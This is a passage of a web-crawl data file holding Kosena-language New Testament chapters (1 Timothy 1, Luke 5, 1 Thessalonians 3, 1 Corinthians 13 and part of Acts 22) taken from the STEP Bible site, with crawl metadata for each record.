1.0000051259994507}","num_words":863,"character_repetition_ratio":0.067,"word_repetition_ratio":0.0,"special_characters_ratio":0.158,"stopwords_ratio":0.187,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1 Timothy 11 Tímótiyo kemá Póro maanáímbá maanáúváívímbá agaimaráúmpo isaaó. Áánútu kentáásí sáwí-imayaaomo tátokaimpinkemba iyásínkáiwaiye Ísu Káráísiti kumíníye séꞋa amuꞋmaráúndawaiye kentávésarai sésarai aantá-kwaasi-iꞋa éma Ísu Káráísitin-aai kosimátímaꞋmae naauwó sésarai siꞋmákaaivo 2 Tímótiyo Ísu KáráísitinkaꞋa agevamái maéndawai áraiꞋa kesááninkaamba ómpo isaaó. Áánútu kentáásivowawe Ísu Káráísiti kentáásí Ísóigowe úwoi áwaꞋnaa esarai tirumbá umánkesarai paru umánkaayantaveꞋa námúnaa kwésune.\n3 ááéma Másétóniyaa-maravaꞋa kónáe séwánda-tawai entávéꞋa asiramái séꞋa Évésasi-naopaꞋa úwoi maiyó. Áánútun-aaigomba kwaéꞋnáer-aimba kwésewaiyavai íma mirán-áímbá seró simátimiyo. 4 aasiyaasí íma imáyáa umái manír-áíné tíkwáꞋnáwe tináávúwísáiye túwíkwaraꞋa íma taaró simátimiyo simámakaumne. mirán-áímbó kwésemba kwaásiti imáyáa taviséna íma túwaꞋnaa ínasa pósa ÁánútumpaꞋa íma aráápamai maíꞋmaiꞋa ónááowe. 5 ánivo simámunda-aimbo amáparawaimo kwarésamo ésa imáyáavinken-aine tirumpinkén-áíné kaweré suꞋmai úmae kwéiyinasa Áánútun-aaiyavesa áraire sésa íma tóikakene suꞋmai sésa tirunkakénkwáráꞋá sénááomba pósa tirumbá tíméro kwésune. 6 évakarawai mináímbá ivátuwesa úwoi-aimba símae naaésa 7 Áánútuna ámáámba simátimenae sésa ombánivo minámáámbá íma kaweꞋá umái isésa asiramái sen-áínkóná ááimba íma ísaraawe.\n8 ámáámba kawe-tántááꞋá póna mindámo kwégwaraan-kwaasi ámáánko kwétuwaꞋnaa-imba ísaraumne. 9 kesí ámáámba kwaꞋmái máéro séna ámáámba tiména sáwíꞋo uráan-kwaasi kawer-ámpáꞋó kónááontavena ámáámba tímakaiye. ámáámbo káráan-kwaasiye aaimó ímo ísáan-kwaasiye Áánútuntavesamo ímo imáyáamo on-kwáásíyé sáwíꞋo kwéon-kwaasiye Áánútun-aaiyavesa kwíráái kwésen-kwaasiye tinóvowi tínkamowasa púwón-kwaasiye évakarawai tínkamowasa púwón-kwaasiye 10 aarai-úmóyámbó on-kwáásíyé kwaai-úmóyámbó on-íníné umóyán-ánkáꞋá nááón-kwaasiye iyámpóí-umoyambo on-kwáásíyé kampar-áímbó sen-kwáásíyé kampar-áímbó simátiyuwaan-kwaasiye Áánútuna árair-aimbo káráan-kwaasiye mirámó kwéon-kwaasimo kawer-ámpáꞋó kónááontavena ámáámba tímakaisata ísaraumne. 11 mináímbá áséi-kwasaivimba kwéna Áánútu kaweré suꞋmai iwáí kwená ááimba óꞋoran-aainkwarawaina árair-aimban-iye. kembá Póromba simásimena séna mináímbá simátímaꞋmae naauwó siráiye.\nÁánútu arumbá umásínkaraiye Póro siráin-kwasai.12 Ísu Káráísiti kentáásí Ísóigo simásimena séna kesí mayáí kaweꞋá umái mayáníyondayavai mayaaó séna mimbáyáímó mayánaundayavena asirayámbá símísaꞋa súwi kwésimankaumne. 13 ánivo mimbáyáí íma mairáawandaraꞋa kwenáwíꞋa simái sáwíꞋa umánkeꞋa kwená mayáí-kwáásí sáwíꞋa umátinkeꞋa kwembá simái sáwíꞋa umánkaraumne. minkánááráꞋá Ísuma Ísóigoma iyé-áíntávéꞋa íma áraire séꞋa íma ísámai kawer-éꞋa póꞋa sáwíꞋa uráunda mindáyavena arumbá umásinkena 14 Ísóigo úwoi súwaꞋnaa úmae iyísaꞋa Ísu Káráísitiye tarúmai méꞋa kwenááiyaveꞋa áraire séꞋa kwená imáyáa kwéune. 15 Ísu Káráísiti sáwíꞋo kwéon-kwaasi sáwí-imayaaomo tátokaimpinkemba iyátinkanintavena marapáꞋá kunkáiye siráivo mináímbá árair-aimban-ivo iséꞋa tirumpimbá asiramái tátoraaro. kemó Póromo sáwíꞋo uráundawai amáparawaimo sáwíꞋo uráamba usáyaaitaraumne. 16 mirámó uráundayavena arumbá umásinkena ayáátáákaꞋa simuꞋmarómba kwaási mindá awánésa kwenááiyavesa áraire sésa aúnáiꞋa umái maíꞋmaiꞋa ónááontavena íma sínkamimba simuꞋmaréna ména arumbá umásínkaraiye. 17 Áánútu kwégarakwiyiwai maíꞋmaiꞋa éna íma puwíníwai éna kwenaneꞋá súrandei ímo awánáúndawai kweyáá Ísóigoma éna kwená ááimba óꞋoran-aaimba kwaíkwaiꞋa isaná kwenáwíꞋa anómba kwaíkwaiꞋa kwéiye.\n18 Tímótiyo kesááninkaawai maanáímbá asiramái simámenaumpo isaaó. ááéma Ísóigona mayáímá mayáníyonda-aimba entá simámakaundayaama isaꞋá imáyáa éꞋa póꞋa asiramái simámeꞋa séꞋa mináíntáváí imáyáa umái kwaréma Ísóigowe aráápamai méma arunkakémbá árair-aimba isé méma i-kwáásímó tiyáántámbo kwimáímo asirayám-báyáímó kwémaesamo máéntemba Áánútun-aaiyavai ayáántámba kwimái asirayám-báyáí kwémae maiyó kwésune. évakarawai tirunkakémbá árair-aimba tínaaemba umámesa pósa Ísóigon-aai tínaaemba umámesa máyáawe. 20 miwívínkémbá kaeꞋnárai túwíꞋa moóráwai áwíꞋa Áíméniyasi isaná moóráwai áwíꞋa Arekesándaa isaꞋá tiꞋmaráúnana Sáátáánigo tátokaiye. ÁánútunkaꞋa sáwí-aimba simái tuwáyááoiye séꞋa tiꞋmaráúnana Sáátáánigo tátokaiye.\nCopyright information for `KZE\nWelcome to STEP Bible\nFrom Tyndale House, Cambridge UK\nUse the search box to find Bibles, commentaries, passages, search terms, etc. Here are some examples:\nESVGen 1\nThis shows how to quickly lookup a passage.\nNIVESVKJVGen 1\nLooking up a passage in three different translations is also easy.\nESVbrother\nThis asks STEP to search for the Greek word for 'brother' and show the results in the ESV.\nNIVESVlandhe.sed\nESVthroneDavidIsa-Rev\nKJVWHNUJohn 1\n© Tyndale House, Cambridge, UK - 2018","id":"","dump":"CC-MAIN-2018-17","url":"https:\/\/www.stepbible.org\/?q=version=KZE%7Creference=1Ti.1","date":"2018-04-21T11:57:49Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-17\/segments\/1524125945143.71\/warc\/CC-MAIN-20180421110245-20180421130245-00580.warc.gz","language":"kze","language_score":1.0000020266,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"kze_Latn_score\": 1.0000020265579224}","num_words":513,"character_repetition_ratio":0.053,"word_repetition_ratio":0.0,"special_characters_ratio":0.147,"stopwords_ratio":0.146,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Luke 5\nÍsu kwená kwayóꞋnárawaꞋa tááyarain-kwasai.1 moórá-tawai Ísu nonkwaaúnkón-awampaꞋa áwíꞋa Kénésáréti-kwaaunkon-awampaꞋa máyowasa Áánútun-aai isánáe sésa tóyo ésa kwenkuvaráꞋá úmaesa tuwaná 2 kaeꞋá sáwíyan-dompi-sipi nonáámááívaꞋa kwáyowana moórá Sáímonindei kwáyowana awánówasa noyááꞋa tóróyan-kwaasi mindómpí-sípí tuwésa kwase-únámbá kwésese uwaná misípí úwoi kwáyowana awánéna Sáímonina nompí-sípívímbá usáatena Sáímonintavena séna egwaaꞋá maimaé kwaaó súwana egwaaꞋá avúsúmaena nonawámpáꞋá kúwana Ísu mimpímbá maraꞋá ména amápa-kwaasi simátímakaiye.\n4 simásuwena Sáímonintavena séna nompí-sípí avúsúmae nonavuvumpáꞋá kuré egwárá ená kwaásigwaraꞋa kwase-únámbá túwéwana nompímbá kumínaꞋa noyááꞋa asínáaro súwana 5 Sáímoni séna anóndakoo ívéꞋ-noꞋwaamba mirá úmae iyúndaya íya noyááta asinéta úwoiya máyaundayaanivo emó séndantemba ónaumne séna 6 nonavuvumpáꞋá kwésa kwase-únámbá túwówana nompímbá kumúwana sáwívaꞋ-noyaaꞋa minúnámpímbá ógwitena tarárááraꞋnaraamba úwasa 7 moórá-nompi-sipivimba miwítí kwaási máyówasa awánésa tiyáán-tuwaaꞋa ésa tasúwaꞋnaa oro suwasá tésa minkáé-sípívímbá noyááꞋa mósá márówana ógwitena umbaí téna nompímbá kunávekoraꞋnaraamba úwana 8 Sáímoni Pítaa mirámó úmba awánéna Ísuma anóndakoman-iye séna aísamaivimba kívairena séna Ísóigoo sáwí-kwaasi úmpo siyuwé kwaaó siráiye. 9 sáwívaꞋ-noyaaꞋa asínóntavena Pítaawe kwesé máyón-kwaasiye táátavai uwasá 10 Sáímoniye noyááꞋa toꞋmaésarai nááúyawai Sépéti ááninkai túwíꞋa moóráwai Yémési úwana moóráwai Yóni mindáraiye táátavai uyaná Sáímoni Pítaa Ísuntavena séna Ísóigoo sáwí-kwaasi úmpo siyuwé kwaaó súwana Ísu séna íma ááꞋa kaíno. noyááꞋo toꞋmaé kwénaaomba mimbáyáí ivátuweꞋa ívéꞋa kwaási tavisíyasa kesirááíma kwáráaro súwasa 11 mindómpí-sípí tavisímaesa nonáámááívaꞋa mámaresa miwítí mayáímá ivátuwesa Ísun-ánaaemba kwaꞋmaésa kwénaaowe.\nÍsu áúma karón-kwaasi kaweꞋá umánkarain-kwasai.12 moórá-tawai Ísu moórá-naopaꞋa máyowana moóráwai amápa-kuvaꞋa áúma karón-kwaasi Ísumba awánéna anóndakoman-iye séna aísamaivimba takívairena séna kentávénamo ankáínamo e kanaán-umai aúnáiꞋa umásinkaniyone súwana 13 Ísu ayáámba aneꞋá tátorena séna mirá ónaumpo enáúraꞋa karevúꞋa kawáúgwiye súwana avekáámbá kawáúguwana 14 Ísu asiramái séna enáúraꞋa kawáúgwimba po naaóváꞋó Mósesimo siráintemba monoꞋ-máyáí-kwáásítópaꞋa kwéma enáúma máagaraatinke póíma tímínasa Áánútuntavesa ísámai tuvúꞋmái agayáíyasa amáparawai awánésa áúrakemba kawáúgwiye sénááowe. ánivo enáúraꞋo umánkaunda-aimba simátimunavo se kwaaó Ísu súwana 15 ivátuwena kaweꞋá umánkon-aimba simátímaꞋmaena iyúwana mináínkó naaóꞋ-naoꞋa kóyáwé úwasa sáwívarawai tóyo ésa kwenáái kwéiseꞋa onaná tíꞋo in-kwáásí asóvamatinkainkwae sésa tóyo uwaná 16 ánivo Ísu ÁánútumpaꞋa námúnaa síndayavena kavóná-maravaꞋa kóyo uráiye.\nÍsu aísamai pukówaimba kaweꞋá umánkarain-kwasai.17 moórá-tawai évakarawai ámáán-kawaa-kwaasiye ámáámba sun-kwáásíyé Yérúsaremu-naopakemba Káríri-ayampakemba Yútiyaa-ayampakemba tóyo ésa Ísu moórá-naumpaꞋa aaí kwésimatimumba taísaraawe. Áánútu Ísumba asóvamatinkanin-asirayamba ámakowana máyowasa 18 évakarawai aísamaimo pukówaimba kwandaaivímbá marésa taagwiyaꞋmaésa tésa ÍsunopaꞋa máánkáananaya kaweꞋá ínkwáe sésa tumbá 19 mindáúmpáꞋá sáwíva-kwaasi sisipáá uwasá íma kanaán-umai íyóraꞋnaraan-esa naanamivaꞋá taagwiyaꞋmaésa umésa avaaꞋá akósámaresa ándára tátoresa túwówana kumeémena kwaásivimbo Ísumo máyompimba aúrankaꞋa kumúwana 20 Ísu taagwiyaꞋmaésamo tun-kwáásímó áraiꞋa kaweꞋá umánkaniye-imayaamo umbá Ísu tuwánéna aísamaimo pukón-kwaasiyavena séna kesí kwaásiyo ená sáwí-imayaa mayauwáúmne súwasa 21 ámáán-kawaa-kwaasiye ámáámba sun-kwáásíyé iséise esa sésa Áánútu kweyáá sáwí-imayaa maitiyuwánívo kwaási íma mirá ónááovo Áánútumba akáꞋáámba kwésimankaiye suwaná 22 Ísu minímáyáámó umbá awánéna séna nóra éra mirán-ímáyáá kwéoo. 23 moóráwaimo aísamaimo pukáindawaintavaimo sénamo ená sáwí-imayaa mayauwáúmne sínasamo ésa áraira sií. kampará siíyo sénááowe. ánivo moóráwaimo aísamaimo pukáindawaintavaimo sénamo eyááríkaꞋa usásine kwaaó sínasamo ésa áraira sií. kampará siíyo awánanaaowe. 24 kemá kwaási úrandaꞋa kumpaáruraundawai marapáꞋá máyaunda kwaásiti sáwí-imayaa maitiyuwáúnda-asirayamba tokáunda póꞋa agaráátínkáanda awánanaaowe séna aísamaimo pukón-kwaasiyavena séna isaaó. usásinke ená kwandaaimá maimaé ená naaópaꞋa kwaaó súwana 25 túrankaꞋa usásinkwena kwená kwandaaimá kwémaena Áánútu áwíꞋa mósá kwémarena kwená naaópaꞋa kúwasa 26 amáparawai táátavai ésa Áánútu áwíꞋa mósá marésa sésa íma awánaraundaiꞋa isaꞋá awánáúmne sésa táátavai ésa tiyáámba tóipimba áákaawe.\nÍsu Áríváimba ááyarain-kwasai.27 naaémba Ísu aampaꞋá kwégwena awánómba táákísi-mayai kwémayowai áwíꞋa Árívái táákísimo máyón-daumpaꞋa máyowana Ísu awánéna séna usásine kesé tiyó súwana 28 usásinena amápa-tantaaꞋa tuwéna kwenánaaemba kwaꞋmaéna kwéna 29 Ísuwe náíndayavena kwená naaúmpaꞋa anón-tomba agayówasa táákísimo máyón-kwaasiye óꞋon-oꞋon-kwaasiye Áríváina naaúmpaꞋa tamésa mindáraiye tamésa tagwémandowasa 30 ámáán-kawaa-kwaasiye miwítí ámáámba sun-kwáásíyé Ísuna kwayóꞋnárawatavesa áwááꞋa tiyésa tísaa esa sésa táákísi máyáan-umoyan-kwaasiye sáwíꞋa on-kwáásíyé toómbá kwénaao suwaná 31 Ísu iséna séna sontaa-kwáásígó kaweꞋó umáímo máyáan-kwaasi íma kwétuwaꞋnaa-ivo tíꞋo in-kwáásí kwétuwaꞋnaa-iye. 32 mindáyaveꞋa arupí umái máyáan-kwaasi tááyaanasa ÁánútunopaꞋa tígwáe séꞋa íma kunkáumpo sáwíꞋo umáímo máyáan-kwaasi tááyaanasa ÁánútunopaꞋa tígwáe séꞋa kunkáumne Ísu siráiye.\ntoómbá aawesuráan-kwasai.33 suwasá évakarawai Ísuntavesa sésa Yóni nombó pétinkaiwaina kwayóꞋnárawaꞋa moórá-mora-tawai Áánútuntavesa imáyáa ésa toómbá íma kwénesa námúnaawe suꞋmai kwésewasa ámáán-kawaa-kwaasiti kwayóꞋnárawakwaraꞋa mirá kwéovo ená kwayóꞋnárawaꞋa íma mirá ésa toómbá nombá úwoi kwénaawe. nóra ésa mirá kwéoo suwaná 34 Ísu séna moóráwai aaraí mayáíndawai amááraawi tanómba kauntimínímba miwísé máyainasa aamoí ésa mintómbá íma aꞋáo sénááovo úwoi nánááowe. 35 naaémba minkwáásígómbá áíꞋmaesa kówíyasa minkánáámá amááraawi tirunkó sáwíꞋa ínasa toómbá aꞋáo sénááowe Ísu séna kwemó ménamo naaémbo tiyuwénamo iyíníntavena mináímbá siráiye.\n36 Ísu mináímbá simásuwena maarán-áímbá kwántámai-aimba séna ááéraan-ampantamo avaaꞋó kwáyáísasamo ombá aúná-ampanta íma kárámai kwéaraapaawe. mirámó íyana aúná-ampanta sáwíꞋa ínana ááéraan-ampantao aúná-ampantaraaniꞋa íma íníye. 37 aúná-anda-aran-domba ááéraa-sipisipi-auwarasi-anaveumpimba íma kwéatimaraawe. mirámó íyanamo éna aúná-anda-aran-domba anón-éna ááéraan-anaveumba kavámbaena sáwíꞋa ínana mindómbá úwoivaꞋa atígwiniye. 38 mindáyavesa aúná-anda-aran-domba aúná-sipisipi-auwarasi-anaveumpimba kwéatimaraawe. 39 ááéraan-anda-aran-domba naawáímó ombá sésa ááéraan-anda-aran-domba áséi kwéiye kwésesa aúná-anda-aran-domba íma kwésinkaiye kwésewe.\nCopyright information for `KZE\nWelcome to STEP Bible\nFrom Tyndale House, Cambridge UK\nUse the search box to find Bibles, commentaries, passages, search terms, etc. Here are some examples:\nESVGen 1\nThis shows how to quickly lookup a passage.\nNIVESVKJVGen 1\nLooking up a passage in three different translations is also easy.\nESVbrother\nThis asks STEP to search for the Greek word for 'brother' and show the results in the ESV.\nNIVESVlandhe.sed\nThis example runs both a 'Hebrew word search' and a 'Text' search and shows the results in both the NIV and ESV.\nESVthroneDavidIsa-Rev\nYou can mix most searches. This finds any word translated as 'throne' in the Prophets and the New Testament, but only in verses concerning the topic 'David'. This excludes verses which refer to a 'throne' in other contexts.\nKJVWHNUJohn 1\nInterlinear Hebrew & Greek is available for some translations with grammar (and more soon). To reverse the interlinear order, click on a version abbreviation under the verse number.\n© Tyndale House, Cambridge, UK - 2018","id":"","dump":"CC-MAIN-2018-17","url":"https:\/\/www.stepbible.org\/?q=version=KZE%7Creference=Luk.5","date":"2018-04-21T17:40:02Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-17\/segments\/1524125945272.41\/warc\/CC-MAIN-20180421164646-20180421184646-00036.warc.gz","language":"kze","language_score":0.9999914169,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"kze_Latn_score\": 0.9999914169311523}","num_words":875,"character_repetition_ratio":0.044,"word_repetition_ratio":0.0,"special_characters_ratio":0.154,"stopwords_ratio":0.139,"flagged_words_ratio":0.0,"lang_id_score":0.999,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1 Thessalonians 31 kentávékai ávááraumai imáyáama kwéekaimanivo maankákáí maékai keinárawaꞋa óꞋopaꞋa máyáantavekai Áténesi-naopaꞋa keiráí maékai 2 Tímótimba aiꞋmarááwáyana kentópaꞋa kuráiye. Tímóti kentáásí kawe-kwáásí póna kwesé keséya Áánútuna mayáíyá kwémayaunanaya póna Ísu Káráísitina áséi-kwasai simátímaꞋmaena kwégwiye. kotirávayainaꞋa ÁánútunkaꞋa agevamái asiramái meígwáe séꞋa Tímótimba aiꞋmarááwánana kuráiye. 3 Áánútun-aai ímo ísááwai sáwíꞋa umátinkaiyaꞋa Áánútumba aúwáavo séꞋa Tímótimba aiꞋmarááwánana kuráiye. Áánútu séna kesááimo ímo ísááwai sáwíꞋa umátinkanaaowe siráimba pósa kentáá sáwíꞋa kwéumasinkaamba áꞋa ísaraawe. 4 keinárawate maéwándarata séta sáwíꞋa umásinkanaaowemo siráundaya ívéꞋa magwévaarisaꞋa kwéawanaawe. 5 kemá imáyáama éꞋa Sáátáánigo séna Áánútumba auwésa kesáái isáígwáe siráintaveꞋa mirá uráawe. ÁánútunkaꞋa agevamái máyáao séꞋa kentáái isánáe séꞋa Tímótimba aiꞋmarááwánana kentópaꞋa kuráiye. kentópaꞋa mayáímá komayááwánda áúgwaraꞋ-mayaima mairáunda ívéꞋa mimbáyáígón-áúma íma kwáívo séꞋa Tímótimba aiꞋmarááwánana kuráiye.\n6 Tímóti kentópaꞋa koména koyauweréna kesópaꞋa téna keinárawatavena séna ÁánútumpaꞋa tirumbá kwétimesa kwenkáꞋá agevamái asiramái máyaawe séna áséi-kwasai tasimásímakaiye. keinárawaꞋo kentávéꞋo séꞋo kawer-áímbá kwésiyemo senkwáráꞋá tasimásímakaiye. kesáámó sétaamo keinárawaꞋa kotuwánanaemo súnaꞋo kentááyávéꞋo tatuwánanaemo senkwáráꞋá tasimásímakaiye. 7 Áánútun-aai kwésimatimundarakemba évakarawai sáwíta umásínkáankaꞋa Áánútun-aaiyavesa áraire sésa kwenkáꞋá agevamái asiramái máyáan-aimba tasimásímakaimba póna sirávayai-aimba tasimásímakaiye. 8 ÍsóigompaꞋa tarúmaimo asiramáímo máyáan-aimba iséta póta kawetá umái máyaumne. 9 ÁánútunkaꞋa asiramái máyáawata póta Áánútunopata kentáásirunko kaweꞋá kwéisata Áánútumpata súwi kwésune. 10 keinárawatopaꞋo kónaunda-amba Áánútu kwiꞋmaráníntaveta eénáínkaꞋa aaváyaaraꞋa Áánútumpata asiramái áísaa úmae kwéiyune. Áánútun-aaiyaveꞋa áraire séꞋa kwenkáꞋá agevamái máyáambanivo moórávaꞋa kwéyuwaantaveta kotúwaꞋnaa ónáe séta ÁánútumpaꞋa asiramáíya kwésune.\n11 námúnaa kwésundaya pósarai Áánútu kentáásivoe Ísu kentáásí Ísóigoe umái kentópaꞋo kónaunda-amba kwisinkáyááoiye. 12 námúnaa kwésundaya póna kesiruntá ávááraumai tímakaundanten-umai Ísóigoma imáyáa timínaꞋa moórá-mora-umai ísámai kentirumbá kwétimeꞋa amápa-kwaasivimba kentirumbá kwétimeꞋa ménaaowe. 13 mirá íyana Áánútu kentirunkómbá asiramátinkainaꞋa Ísu kentáásí Ísóigomo kwená kwaásiyemo kumíndaraꞋa Áánútu kentáásivowa aúrankaꞋa kaweꞋá umái maíyana sáwí-aimba kempímbá íma kwénintaveta námúnaa kwésune.\nCopyright information for `KZE\nWelcome to STEP Bible\nFrom Tyndale House, Cambridge UK\nUse the search box to find Bibles, commentaries, passages, search terms, etc. Here are some examples:\nESVGen 1\nThis shows how to quickly lookup a passage.\nNIVESVKJVGen 1\nLooking up a passage in three different translations is also easy.\nESVbrother\nThis asks STEP to search for the Greek word for 'brother' and show the results in the ESV.\nNIVESVlandhe.sed\nThis example runs both a 'Hebrew word search' and a 'Text' search and shows the results in both the NIV and ESV.\nESVthroneDavidIsa-Rev\nYou can mix most searches. This finds any word translated as 'throne' in the Prophets and the New Testament, but only in verses concerning the topic 'David'. This excludes verses which refer to a 'throne' in other contexts.\nKJVWHNUJohn 1\nInterlinear Hebrew & Greek is available for some translations with grammar (and more soon). To reverse the interlinear order, click on a version abbreviation under the verse number.\n© Tyndale House, Cambridge, UK - 2018","id":"","dump":"CC-MAIN-2018-17","url":"https:\/\/www.stepbible.org\/?q=version=KZE%7Creference=1Th.3","date":"2018-04-20T12:56:41Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-17\/segments\/1524125937780.9\/warc\/CC-MAIN-20180420120351-20180420140351-00261.warc.gz","language":"kze","language_score":0.9999634027,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"kze_Latn_score\": 0.9999634027481079}","num_words":421,"character_repetition_ratio":0.065,"word_repetition_ratio":0.0,"special_characters_ratio":0.152,"stopwords_ratio":0.076,"flagged_words_ratio":0.0,"lang_id_score":0.998,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1 Corinthians 13\nkwaásimo tirumbó tíméwaina ááimban-iye siráin-kwasai.1 Áánútun-amankomo asirayámbó simínataamo óꞋon-oꞋon-aimbo ímo ísaraunda-aimpinkembo sétaamo kwíyómpaken-kwayoꞋnarawa tááivinkenkwaraꞋo sétaamo miráwé suꞋmaimo étaamo ímo kwaásiti imáyáamo ondayáámó éta mináímbá úwoi-aimba séta kámoyambo úwoimo tontembá mirá éta peróꞋo úwoimo tuvúwóntemba mirá ónaundayaanivo kwaásiti imáyáamo étaamo éta kaweꞋá umátinkanaumne. 2 Áánútumo asirayámbó simínataamo simásímakain-aimbo simátimetaamo Áánútumo aúpáꞋó marénamo avoraꞋó marénamo uráin-aimba isétaamo ímo ísaraunda-aimba Áánútu simásímakain-aimba isétaamo Áánútuntavetaamo asiramáímo métaamo sétaamo áraiꞋa Áánútu siráiniꞋa íníye sétaamo Áánútumo siráintemba umbai-máyáímó maétaamo miráwé suꞋmaimo étaamo ímo kwaásiti imáyáamo éta úwoi-kwaasiya úne. 3 makáunda-yantaaꞋo amápaꞋo tímatuwetaamo Áánútuna mayáíyá kwémayaundayavaiya sáwíꞋa umásinkaamba aamoí éta kanaán-iyemo sétaamo mirámó étaamo ímo kwaásiti imáyáamo ondayáámó éna siráunda-ainko íya súwaꞋnaa íníye.\n4 kwaásimo tirumbó tíméwaina ááimba maarán-áímbán-iye. kwaásimo tirumbó tíméwai sáwíꞋo kwéumatinkaamba anondá íma mirá ombá túwaꞋnaa esa kwaásimo tirumbó tíméwai túwíꞋo kwáyáin-kwaasiyavesa tirumbá íma sáwíꞋa umátinkesa kwaásimo tirumbó tíméwai miwí túwíꞋa íma maé iyésa 5 kwaásimo tirumbó tíméwai kesávésa amápa-tantaaꞋa kaweꞋá kwéune íma sésa sáwí-aimba íma sésa kwaásimo tirumbó tíméwai kesáái usáyaaitainkwae íma sésa kwaásimo tirumbó tíméwai íma ááéma áwááꞋa sésa kwaásimo tirumbó tíméwai sáwíꞋo umátínkáamba íma imáyáa úmae iyésa 6 kwaásimo tirumbó tíméwai sáwíꞋo uráantavesa íma aamoí ésa kaweꞋó uráantavesa aamoí ésa 7 kwaásimo tirumbó tíméwai umbai-yántááꞋó kwáyáimpimba úwoi mésa kwaásimo tirumbó tíméwai amáparawaiyavesa íma inkaisí-ímáyáá ésa amáparawai kaweꞋá ónááontavesa timuꞋmarésa mésa kwaásimo tirumbó tíméwai amápar-umbai-yantaapimba asiramái mésa íma ivátuwesa miráumai kwémaewe.\n8 kwaásimo tirumbó tímémba minánkómá kwaíkwaiꞋa éna íma ánásainana Áánútu simátímakain-aimba kwésimatimim-bayai ánásainana óꞋon-oꞋon-aimbo ímo ísaraan-aimpinkemba kwésem-bayai ánásainana ímo ísaraan-aimbo Áánútu simátímakain-aimba kwésimatimem-bayai ánásaniye. 9 ímo ísaraunda-aimbo Áánútu simásímakain-aimba íma kanaán-umai ísáyasaraundayaawe. Áánútumo simásímakain-aimba simátímakaunda íma kanaán-umai simátímatasaraundayaawe. 10 Áánútu kasenkuíꞋa ónaumnemo siráimba naaémba paárinimba póta ímo ísáyasaraunda-ainkwaraꞋa ánásagwinata amáparawaina ááinta awánanaundayaawe.\n11 iyámpói máyaawandaraꞋa iyámpóímo kwésentemba mirán-áímbá séꞋa iyámpóímo kwéontemba mirá éꞋa iyámpóímo kwéontemba mirán-ímáyáá uráumpo kwaási-iꞋa uráunda iyámpóíraꞋo uráunda-yantaaꞋa tukáumne. 12 iyámpóímo ímo kaweꞋó umáímo ísáantemba Áánútuna kwaásiya íma kaweꞋá umáíya Áánútuna ááimba kwéawanaundayaawe. nompímbó kwaási tóiꞋo ímo awánamaimo kaweꞋó úndantenta ívéꞋa miráráántá kwéundaya Áánútuna ááimba íma kaweꞋá umáíya kwéawanaundayaanivo kwaási tóiꞋo avoratáámó awánáúndantemba naaémba miráyá ónaundaya Áánútuna ááimba kaweꞋá umáíya awánanaundayaawe. ívéꞋa íma awánasaraundaya Áánútu kentáámó suwánasaraintemba naaémba Áánútuna ááimba awánasanaundayaawe. 13 mirá ínívo ívéꞋa Áánútuwe aráápamaiya máyaunda-amba isaná áraiꞋa Áánútuwe maíꞋmaiꞋa ónaundayaawemo kwésunda-amba isaná Áánútumbo tirumbó áméne kwaásimo tirumbó tímén-amba isaná umái minkáúmbó-ámbá kwáyáivo usáyaaitarain-amba Áánútumbo tirumbó áméne kwaásimo tirumbó tímén-amban-iye.\nCopyright information for `KZE\nWelcome to STEP Bible\nFrom Tyndale House, Cambridge UK\nUse the search box to find Bibles, commentaries, passages, search terms, etc. Here are some examples:\nESVGen 1\nThis shows how to quickly lookup a passage.\nNIVESVKJVGen 1\nLooking up a passage in three different translations is also easy.\nESVbrother\nThis asks STEP to search for the Greek word for 'brother' and show the results in the ESV.\nNIVESVlandhe.sed\nThis example runs both a 'Hebrew word search' and a 'Text' search and shows the results in both the NIV and ESV.\nESVthroneDavidIsa-Rev\nYou can mix most searches. This finds any word translated as 'throne' in the Prophets and the New Testament, but only in verses concerning the topic 'David'. This excludes verses which refer to a 'throne' in other contexts.\nKJVWHNUJohn 1\nInterlinear Hebrew & Greek is available for some translations with grammar (and more soon). To reverse the interlinear order, click on a version abbreviation under the verse number.\n© Tyndale House, Cambridge, UK - 2018","id":"","dump":"CC-MAIN-2018-17","url":"https:\/\/www.stepbible.org\/?q=version=KZE%7Creference=1Cor.13","date":"2018-04-27T03:01:58Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-17\/segments\/1524125948950.83\/warc\/CC-MAIN-20180427021556-20180427041556-00086.warc.gz","language":"kze","language_score":0.9999717474,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"kze_Latn_score\": 0.9999717473983765}","num_words":526,"character_repetition_ratio":0.102,"word_repetition_ratio":0.0,"special_characters_ratio":0.152,"stopwords_ratio":0.116,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Acts 221 Póro simátimena séna kesívárawaisai kesivoísáíyo aaí simátínkáamba anondá mináímbá sénaumpo ísáaro séna 2 Ípírun-aimpinkemba súwasa miwí tááivinken-aimba pósa isésa aaisékésa kwenáái kaweꞋá umái ísówana Póro séna 3 kemá Yútaa-kwaasi úne. kesinó Sírísiyaa-maravaꞋa Táásási-naopaꞋa masinkówaꞋa anón-éꞋa YérúsaremuvaꞋa KámérierinopaꞋa tamáyaawanana kentáá síkwáꞋnái ámáámba asiramái simásímaꞋmaena iráiye. maankáꞋó máyáan-kwaasimo Áánútuntavaimo asiramái máyáantemba Áánútun-aai asiramái méꞋa méyatokaumne. 4 Ísuna aampaꞋá kun-kwáásí sáwíꞋa kwéumatinkeꞋa tavisímaeꞋa ándávaꞋa aarai-kwaaí mátínkaraumne. 5 ááéma aivaꞋmónó-káwáánákówé monor-ánón-kwáásíyé aúvái simésa Támásikasi-naopaꞋa Yútaa-kwaasi maimaé mátimiyo suwaꞋá Ísuna aampaꞋá kun-kwáásí kotíꞋmaeꞋa YérúsaremuvaꞋa ándávaꞋa mátinkanae séꞋa Támásikasi-naopaꞋa kuráumne. ááémo mináúváímó símakaan-kwaasi kotísaa eꞋo éꞋa kentáváí áraiꞋa kwésiye seró.\n6 